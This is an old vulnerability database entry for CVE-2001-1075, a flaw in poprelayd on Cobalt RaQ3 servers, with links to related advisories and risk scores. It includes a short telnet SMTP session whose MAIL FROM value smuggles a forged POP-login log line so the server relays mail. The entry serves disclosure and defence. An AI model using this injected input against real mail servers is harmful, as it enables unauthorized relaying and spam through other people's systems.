Cobalt Raq3 PopRelayD - Arbitrary SMTP Relay
| Reporter | Title | Published | Views | Family All 6 |
|---|---|---|---|---|
 | CVE-2001-1075 | 9 Mar 200205:00 | – | cve |
 | CVE-2001-1075 | 9 Mar 200205:00 | – | cvelist |
 | EUVD-2001-1056 | 7 Oct 202500:30 | – | euvd |
 | CVE-2001-1075 | 4 Jul 200104:00 | – | nvd |
 | poprelayd & sendmail Authentication Problem | 3 Nov 200500:00 | – | openvas |
 | poprelayd & sendmail Arbitrary Mail Relay | 14 Aug 200200:00 | – | nessus |
source: https://www.securityfocus.com/bid/2986/info
poprelayd is a script that parses /var/log/maillog for valid pop logins, and based upon the login of a client, allows the person logged into the pop3 service to also send email from the ip address they're accessing the system with.
poprelayd doesn't authenticate output to the /var/log/maillog file. This makes it possible for a user to create an arbitrary string via sendmail that will be logged to the file, thus allowing a remote user to relay mail through the SMTP server.
telnet dumbcobalt 25
Trying 123.123.123.123...
Connected to dumbcobalt
...
ehlo dumbcobalt
...
mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"
553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"...Domain name requiredData
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02 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.02734